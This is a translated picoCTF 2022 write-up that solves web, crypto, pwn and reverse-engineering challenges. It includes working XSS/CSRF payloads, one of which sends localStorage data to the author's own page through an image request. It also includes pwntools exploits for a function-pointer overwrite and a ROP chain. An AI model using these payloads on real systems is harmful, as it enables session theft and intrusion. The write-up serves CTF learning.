picoCTF 2022 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This year, I picked some high-scoring problems from picoCTF to solve, mainly writing about the two most difficult but also very interesting web challenges.
Web
noted
This challenge features a very simple notes-type web service that requires login to post content. The XSS bot will randomly register an account, post the flag on it, and then visit any URL you specify. The problem statement also mentions that the XSS bot does not have internet access.
First, it is easy to find that it has a very simple XSS vulnerability because in notes.ejs
, it uses <%- something %>
to output data:
<h2><%- note.title %></h2>
<p><%- note.content %></p>
However, this appears in the note of your own account, which is just Self-XSS. A common approach for Self-XSS is to use CSRF to POST the login form, log into your own account, and trigger the XSS.
However, the flag is under the account randomly registered by the XSS bot, but to perform XSS, you need to log in and overwrite the cookie, which means that even if XSS is successful, you cannot access the flag. There are many solutions, but they all involve using window references (window.open()
, window.opener
, iframe.contentWindow
...).
If two windows A and B have the same document.domain
, as long as you have a window reference, you can directly access the DOM of the other window. So, as long as A is the page before POST login, and B is the Self-XSS window, you can use some method (e.g., window.opener
) to let B read the DOM of A to get the flag.
pbctf 2021 - TBDXSS is a similar concept challenge.
However, to POST login, you also need to direct the bot to an external website, but without internet access, this is not possible. Note that the code for the report part looks like this:
// report.js
const crypto = require('crypto');
const puppeteer = require('puppeteer');
async function run(url) {
let browser;
try {
module.exports.open = true;
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});
let page = (await browser.pages())[0]
await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));
await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);
await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');
await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);
await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);
await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}
module.exports.open = false;
}
module.exports = { open: false, run }
// web.js
fastify.post('/report', {
schema: reportSchema,
preHandler: fastify.csrfProtection
}, auth((req, res) => {
let { url } = req.body;
if (report.open) {
return res.send('Only one browser can be open at a time!');
} else {
report.run(url);
}
return res.send('URL has been reported.');
}));
It is clear that it does not check the URL format at all, so URLs like javascript:alert(1)
can XSS on about:blank
, and you can use this to open a new window to achieve CSRF.
The remaining challenge is how to return the flag, as it cannot access the external network, so you need to use other methods to transmit the flag. My approach is to directly create a new note with my self-XSS account and put the flag in the content. Since adding a note requires CSRF, the simplest way is to open an iframe and operate directly.
This part is the code to generate the URL to submit to the bot:
const csrf = `
<form name=frm action='http://0.0.0.0:8080/login' method=post>
<input name=username value=supernene>
<input name=password value=supernene>
</form>
`
const js = `
win = window.open('', '')
win.document.body.innerHTML = atob('${btoa(csrf)}')
win.document.frm.submit()
location.href = 'http://0.0.0.0:8080'
`
const url = `javascript:eval(atob('${btoa(js)}'))`
console.log(url)
And this part is the payload on the Self-XSS page:
<iframe src="/new" id=frm>
</iframe>
<script>
const flag = window.opener.document.body.textContent
frm.onload=()=>{
frm.onload=null
const newfrm = frm.contentDocument.forms[0]
newfrm.title.value = 'FLAG'
newfrm.content.value = flag
newfrm.submit()
}
</script>
Flag: picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}
The flag probably refers to the unintended solution of PlaidCTF 2021 - Carmen Sandiego:
javascript:fetch(...)
Live Art
This challenge was solved by only about 10 people, considered a high-difficulty challenge by the officials, but I was lucky to solve it.
This challenge features a React-written SPA, with the server part being a simple express server that only handles providing files and reporting to the XSS bot.
The challenge has several features, one of which allows you to draw on a canvas and broadcast the drawing with a specified ID. The broadcast is achieved using PeerJS, and viewers can synchronize the host's drawing by knowing the corresponding ID.
I initially spent a lot of time reading PeerJS's source code, from handshaking to binary pack deserialization, but found no exploitable vulnerabilities. Although there were some places that looked like prototype pollution, they were not successful.
The method that helped me find the real bug was building the development version of the client locally. By adding minify: false
in the build
section of vite.config.js
and using the yarn vite build --sourcemap --mode development
command to build, you can get a more debug-friendly version. Additionally, installing React Developer Tools is also an important part.
I found the issue when resizing the browser window (narrow to wide) with the devtool open on /drawing/peko
. The following warning appeared in the devtool:
Warning: React has detected a change in the order of Hooks called by _Drawing. This will lead to bugs and errors if not fixed. For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks
Previous render Next render
------------------------------------------------------
1. useState useState
2. useState useState
3. useEffect useEffect
4. useEffect useEffect
5. useState useReducer
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Looking at the source code of the page containing the _Drawing
component:
import * as React from "react";
import { useParams } from "react-router-dom";
import Peer from "peerjs";
import { WrapComponentError } from "../../wrappers";
import { Viewer } from "../viewer";
import { ErrorPage } from "../error";
const getWrappedError = WrapComponentError(ErrorPage)
const getWrappedViewer = WrapComponentError(Viewer);
const isWideEnough = () => window.innerWidth > 600;
interface Props {
page: string;
}
const _Drawing = (props: Props) => {
const [image, setImage] = React.useState<string | undefined>();
const [bigEnough, setBigEnough] = React.useState(isWideEnough());
const page = props.page;
React.useEffect(() => {
if (!page) return;
const peer = new Peer();
peer.on("open", () => {
const conn = peer.connect(page);
conn.on("data", (data) => {
if (typeof data === "string") {
setImage(data);
}
});
})
}, [page]);
React.useEffect(() => {
const listener = () => {
setBigEnough(isWideEnough());
}
window.addEventListener("resize", listener);
return () => {
window.removeEventListener("resize", listener);
}
});
const view = bigEnough
? getWrappedViewer({ image })
: getWrappedError({ error: "Please make your window bigger" });
return (
<div>
{ view }
</div>
);
};
export const Drawing = () => {
const params = useParams();
return (<_Drawing page={ params.page! } />);
}
It is clear that the problematic fifth hook is in getWrappedError
or getWrappedViewer
.
import * as React from "react";
export class ComponentError {
constructor(public message: string) { }
}
export const WrapComponentError = <T extends (props: any) => JSX.Element>(component: T, returnTo = "/") => {
return (props: T extends (props: infer P) => JSX.Element ? P : {}) => {
const handleError = (e: unknown) => {
console.error(e);
const error = e instanceof ComponentError ? e.message : "Something went wrong";
window.location.href = `/error#error=${encodeURIComponent(error)}&returnTo=${encodeURIComponent(returnTo)}`;
throw e;
}
try {
return component({ ...props, throwError: handleError });
} catch (e) {
handleError(e);
}
}
}
It is clear that WrapComponentError
is just a wrapper for errors.
ErrorPage
:
import * as React from "react";
import { useHashParams } from "../../hooks/index";
export interface Props {
error?: string;
returnTo?: string;
}
export const ErrorPage = (props: Props) => {
const params = useHashParams<{ error: string, returnTo: string }>();
const error = props.error ?? params.error;
const returnTo = props.returnTo ?? params.returnTo;
return (
<div>
<h1>Uh Oh Spaghetti-Oh!</h1>
<h3>{ error }</h3>
<div>
<a href={ returnTo }>Return to previous page</a> or <a href="/">go home</a>.
</div>
</div>
)
}
Viewer
:
import * as React from "react";
type Dimensions = { width: number, height: number };
const baseResolution: Dimensions = { width: 384, height: 384 };
export interface Props {
image?: string;
}
export const Viewer = (props: Props) => {
const [dimensions, updateDimensions] = React.useReducer(
(canvasDimensions: Dimensions, windowDimensions: Dimensions) => {
const newScale = Math.floor(Math.min(
(windowDimensions.width / baseResolution.width),
(windowDimensions.height / baseResolution.height))
);
const desiredDimensions = { width: baseResolution.width * newScale, height: baseResolution.height * newScale };
if (desiredDimensions.width !== canvasDimensions.width || desiredDimensions.height !== canvasDimensions.height) {
return desiredDimensions;
} else {
return canvasDimensions;
}
},
baseResolution
);
React.useEffect(() => {
const listener = () => {
updateDimensions({ width: window.innerWidth - 100, height: window.innerHeight - 200 });
}
window.addEventListener("resize", listener);
return () => {
window.removeEventListener("resize", listener);
}
}, []);
return (
<div>
<h1>Viewing</h1>
<img src={props.image} { ...dimensions }/>
</div>
)
}
So the fifth hook changes from useState
to useReducer
, which are hooks for the ErrorPage
and Viewer
components, respectively. But why does this issue occur? The key is that WrapComponentError
directly calls the component
as a function:
component({ ...props, throwError: handleError })
The correct approach should be:
<component { ...props } throwError={handleError}>
This way, it will call React.createElement
, and React will treat them as different components, ensuring the hook order is correct.
As for what can be exploited with this bug, you can refer to the official Rules of Hooks. Testing can show that hooks only care about the call order, and testing can verify this.
So you can add a breakpoint after const [dimensions, updateDimensions] = React.useReducer(...)
, then resize the window from small to large, causing the switch from ErrorPage
to Viewer
. When paused, you can see that dimensions
is an empty object {}
. Adding #a=b
to the URL makes it {a: 'b'}
, clearly coming from the return value of useHashParams
.
It is clear that dimensions
can be controlled at the moment of window resizing (ErrorPage
-> Viewer
), and it will be merged into the img
props below:
<img src={props.image} { ...dimensions }/>
This means you can inject arbitrary attributes into the img
tag. One approach is dangerouslySetInnerHTML = { __html: 'payload' }
to set innerHTML
. However, looking at the hash params processing, you can see that only single-layer strings can be injected:
const getHashParams = <T extends Record<string, string>>() => {
const params = new URLSearchParams(window.location.hash.substring(1));
const result = Object.create(null);
params.forEach((value, key) => {
result[key] = value;
});
return result as T;
};
export const useHashParams = <T extends Record<string, string>>() => {
const [params, setParams] = React.useState(getHashParams<T>());
React.useEffect(() => {
const listener = () => {
setParams(getHashParams<T>());
}
window.addEventListener("hashchange", listener);
return () => {
window.removeEventListener("hashchange", listener);
}
});
return params;
};
Another approach is to inject onerror=alert(1)
, but this will result in another warning from React:
Warning: Invalid event handler property `onerror`. Did you mean `onError`?
This is because React only allows event handlers to be bound using methods like onClick={ () => console.log('clicked') }
, not directly injecting HTML inline event handlers.
At this point, you can refer to the second hint given in the challenge: HTML Standard - 4.13 Custom elements. Reading it, it seems unrelated, but the most relevant part is the is
attribute, which is used to specify Customized built-in elements. Adding is
to the props will successfully make onerror
appear on the img
tag for XSS:
<iframe src="http://localhost:4000/drawing/asd#src=1&onerror=alert(1)&is=peko" id=frm></iframe>
<script>
frm.onload = () => {
frm.width = 800
}
</script>
This is because React will check the is
attribute to see if it is a custom element, and if so, it will directly set the attribute without additional checks.
So after achieving XSS, the rest is simple. Just send the flag in localStorage
back. Place the following HTML on your webpage and submit the URL to the bot to get the flag.
<iframe srcdoc="none" id="frm"></iframe>
<script>
frm.contentWindow.name = `
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username
`.slice(1, -1)
frm.onload = () => {
console.log('loaded 1')
frm.onload = () => {
frm.onload = null
console.log('loaded 2')
setTimeout(() => {
frm.width = 800
frm.height = 400
}, 500)
}
frm.contentWindow.location = 'http://localhost:4000/drawing/peko#is=asd&onerror=eval(window.name)&src=peko'
}
</script>
Flag: picoCTF{beam_me_up_reacty_6bdeba69}
Crypto
This year's Crypto challenges are much simpler compared to last year...
Very Smooth
In this challenge, the RSA and are abnormal, with and being -smooth, clearly indicating Pollard p-1.
The simplest solution is to modify primes(997)
to primes(131101)
in attacks/single_key/pollard_p_1.py
of RsaCtfTool.
Flag: picoCTF{148cbc0f}
Sequences
import math
import hashlib
import sys
from tqdm import tqdm
import functools
ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe7d7086e788af7922b")
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
# Decrypt the flag
def decrypt_flag(sol):
sol = sol % (10**10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)
key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
if __name__ == "__main__":
sol = m_func(ITERS)
decrypt_flag(sol)
Calculate the value of a recursive sequence at to decrypt the flag.
Although the number is not actually large, I guess a slightly optimized approach could work, but I used the normal method.
The method is similar to matrix exponentiation for Fibonacci sequences. Write it as a matrix in , exponentiate it, and the answer will come out, taking only time.
import hashlib
R = Zmod(10 ^ 10000)
M = matrix(R, [[21, 301, -9549, 55692], [1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0]])
sol = (M ^ (2 * 10 ^ 7) * vector([4, 3, 2, 1]))[-1]
# print(sol)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex(
"42cbbce1487b443de1acf4834baed794f4bbd0dfe7d7086e788af7922b"
)
def decrypt_flag(sol):
sol = sol % (10 ** 10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY:
print("Incorrect solution")
key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
decrypt_flag(int(sol))
Flag: picoCTF{b1g_numb3rs_3956e6c2}
Sum-O-Primes
Another RSA challenge, but this time with the value of given. Write out the polynomial to find the integer roots:
from Crypto.Util.number import *
x = 0x1C5D833516F25A832A331F349D2931D1577B3171D689DA0391608DEA7BBD9CDA413D836DB2F5C79DA05755225C41AF1CFFBFAF1777B64ABB521AC63E09D6101FE16FA7B98A647B94ECCEF0601681C34D4AA0AC9DED573F14460DC5DC5337D24BDF1F69325689346795ADB0F9159CB2779463DCE6E084ADF861B61BD76BB160132
n = 0xC6C7C7879953A678D8E6D2AB85248F19B3F7C4B1E0C4C3F5BC1B63946ABCAC0CC19523386A08BBB5BD09321B9023DF091F162DD0E9B100DA1B5D15F78523EA6D7C6D7C7CD8B5C287FCD5D91DEFC53A32885C0A6F16F3B13221BBD4B5254BB9DBFE79244D343841485AD38FB139ABFA3C3BD50E4787B1E882D21ADA914989C1497774BDAA046AD2366028BD31F9277C39F58FE6FC78C247C4159B8879EAA7E15301CE937A7491E7727E5AE6E7852DF6F9FD3367E5BB178C7013805A16EE68F6CDF8F5F72B2FBC159C38244082B1C47F5814A494AC7B310C37FE68A85E4448885D0DE8F93D21106121FF74C0C6452FF697B2D2660483AF13CE82EBDC0293B24DAD
c = 0x101EF1AF3FD07A28858D5102E2448F29FD995F63DF13B6E6A98D077E2330722AF3374CD30652943FD1DE006118024A4C86A23EAE960B872E8D6C5735D73A05C40D039B6779B78F0FB90DAF5011DE05636B35A47416CB91712DF3CA62F32BD2799B24D3B267A6140F98B07DFBB9E333BC71170776CE794F34674C232544DF18E719698614958BBDA4E371E58E22DF63C2284F0F748AF6EA0465F520ED8A70BA8D12307900216645B820C29A6297C1754A703A7CAA1747ECF4D4BEE49163366686FF15961DB87F08007C302BDE64C3E4DC165604A856B036C891EF4B0DD1FD9AEC79F2A7D2D017C880C1A523D1D46868A99EE2B0046CACEBE65DA9A3CE3B7C9683
e = 65537
P.<r> = ZZ[]
# (r-p)(r-q)=r^2-xr+n
f = r ^ 2 - x * r + n
p = f.roots()[0][0]
q = n // p
assert p * q == n
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))
Flag: picoCTF{92fe3557}
NSA Backdoor
This challenge uses the same generation method as Very Smooth to produce , but this time the flag is encrypted using .
Again, use Pollard p-1 to factorize, and since it is very smooth, use Pohlig-Hellman to solve the discrete log in and , then use CRT to find .
Actually, CRT is not necessary for this challenge because is small enough.
from Crypto.Util.number import *
n = 0x72BAE3105C52D6CA470AA6D21B1A8A9F2208951CA6CD71D1B484E38095E0558B32D9DB2F926771DC4A93B6DEEBAF64D2978F0F4EFC8F49DB5571959E214C900A4BED54FA235EE72CEC66C85BCA819EA3FB1B4E3DD70E940D9067EB3D0A6A4ABF6C152D7D1A19D0833532048EC84754C95EB8055B7E3817E65AEA897E3E2A29764AF08589A6271721C863DF2386CEB9EEA4F208ED8F45F0628D5EC3AFCC416AB3DDA4071A9FCA2166E87F14A9475B1711A0B4CCDEFAB041A7E2A7B418155AED4A1BBC343A0C1A8D9AF479FF7E62765BFB5F1762AA66C4B06CE44B5681977E027428B32811C8C539F0C631178ED60A863176CDD1FD73EE9CBE14EAA5E7010443CD
c = 0x4790C71B682F70A3E8AEAEB62B7B5C7381B27AB013D806631EFD826DA0BFC4EA7F343AD33EA0ABDD14762ACF5FCDF02B3E44646B8DF7B09345EC2C43614A15E4E38BDA58BF0B08F643E521D04F4D1EB06A4521351533B4140DF785F12FA085DB1E14DBA803F00A25208167B359045D4491A49463F2423894DC69D92FC814229BF3D439B0D552732363AF89605FC5BC035612B68C49D01C5EC185028D3D036332F6D5D7BCCC1E65C7FE13AEFB3C8A4EBEB8006092CB714B9040EC3147C0EC784CB6E6CAE2456999AFDC8FCACD3F3D2502D29B59BE9F47E5FF192512FF6A37CF12837F3DA1A1905DE2D5A4AE7EEA353C1B0C15C764BB10A45A21CDB84C3BF948EF
# pollard p-1
p = 99755582215898641407852705728849845011216465185285211890507480631690828127706976150193361900607547572612649004926900810814622928574610545242732025536653312012118816651110903126840980322976744546241025457578454651121668690556783678825279039346489911822502647155696586387159134782652895389723477462451243655239
q = 145188107204395996941237224511021728827449781357154531339825069878361330960402058326626961666006203200118414609080899168979077514608109257635499315648089844975963420428126473405468291778331429276352521506412236447510500004803301358005971579603665229996826267172950505836678077264366200199161972745420872759627
assert p * q == n
xp = GF(p)(c).log(3)
xq = GF(q)(c).log(3)
x = crt([xp, xq], [p - 1, q - 1])
print(long_to_bytes(x))
Flag: picoCTF{e032a664}
Pwn
Except for the last challenge, all Pwn challenges are very simple. This year, only Web x2 and Pwn x1 are difficult.
function overwrite
32 bits
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
Overwrite the function pointer to change hard_checker
to easy_checker
.
from pwn import *
elf = ELF("./vuln")
index = (elf.sym["check"] - elf.sym["fun"]) // 4
offset = elf.sym["easy_checker"] - elf.sym["hard_checker"]
story = bytes([97] * 13 + [76])
assert sum(story) == 1337
# io = process("./vuln")
io = remote("saturn.picoctf.net", 53739)
io.sendlineafter(b">> ", story)
print(index, offset)
io.sendlineafter(b"less than 10.\n", f"{index} {offset}".encode())
io.interactive()
Flag: picoCTF{0v3rwrit1ng_P01nt3rs_698c2a26}
stack cache
32 bits
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 16
#define FLAGSIZE 64
#define INPSIZE 10
/*
This program is compiled statically with clang-12
without any optimisations.
*/
void win() {
char buf[FLAGSIZE];
char filler[BUFSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
}
void UnderConstruction() {
// this function is under construction
char consideration[BUFSIZE];
char *demographic, *location, *identification, *session, *votes, *dependents;
char *p,*q, *r;
// *p = "Enter names";
// *q = "Name 1";
// *r = "Name 2";
unsigned long *age;
printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents);
printf("Names of user: %p %p %p\n", p,q,r);
printf("Age of user: %p\n",age);
fflush(stdout);
}
void vuln(){
char buf[INPSIZE];
printf("Give me a string that gets you the flag\n");
gets(buf);
printf("%s\n",buf);
return;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
printf("Bye!");
return 0;
}
Using gdb, it is found that the eax
at the ret
of the win
function is buf
, which contains the flag. At 0x8049EEB
(in UnderConstruction
), there is mov [esp+4], eax; call printf
, which puts eax
into the second parameter of printf
.
So, if you don't want to get a shell, just return to win
and then to 0x8049EEB
, and make the first parameter %s\n
to get the flag. Note that printf
also uses some stack space, so insert some ret
between win
and 0x8049EEB
to avoid overwriting the flag.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"
elf = ELF("./vuln")
rop = ROP(elf)
ret = rop.find_gadget(["ret"]).address
# io = gdb.debug("./vuln", "b *(vuln+56)\nc")
io = remote("saturn.picoctf.net", 54645)
io.sendlineafter(
b"the flag\n",
b"a" * 14
+ flat(
[
elf.sym["win"],
# eax will be the address of flag on stack
# put some ret to prevent flag from being overwritten
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
0x8049EEB, # mov [esp+4], eax; call printf
0x80C91F6, # "%s\n"
]
),
)
io.interactive()
Flag: picoCTF{Cle4N_uP_M3m0rY_4c1cd4ab}
I don't understand why this challenge is worth 400 points...
Rev
Keygenme
Opening with IDA reveals it is a flag checker. Reading the check function shows it uses some known values to calculate the md5 to generate the flag, then compares each byte with the input. So, set breakpoints in gdb at appropriate places and read the flag from the stack.
Flag: picoCTF{br1ng_y0ur_0wn_k3y_9d74d90d}
Wizardlike
This is a small game written with ncurses, with a total of ten levels. The first few levels have the flag's prefix, and each of the later levels has a hex digit representing the flag's suffix.
The game is simple, just WASD to move, a simple maze game. However, the map is not fully displayed; it seems to expand the visible area based on the current position.
My solution was to use IDA to patch the function that checks walls (mov rax, 1; ret
), allowing the character to move freely. Then, modify the function that checks whether to display a certain tile to mov rax, 1; ret
, so it displays the entire map at the start.
Finally, change the function that goes back to the previous level from sub level, 1
to add level, 1
to easily skip levels, and manually read the flag at the end.
Flag: picoCTF{ur_4_w1z4rd_4844AD6F}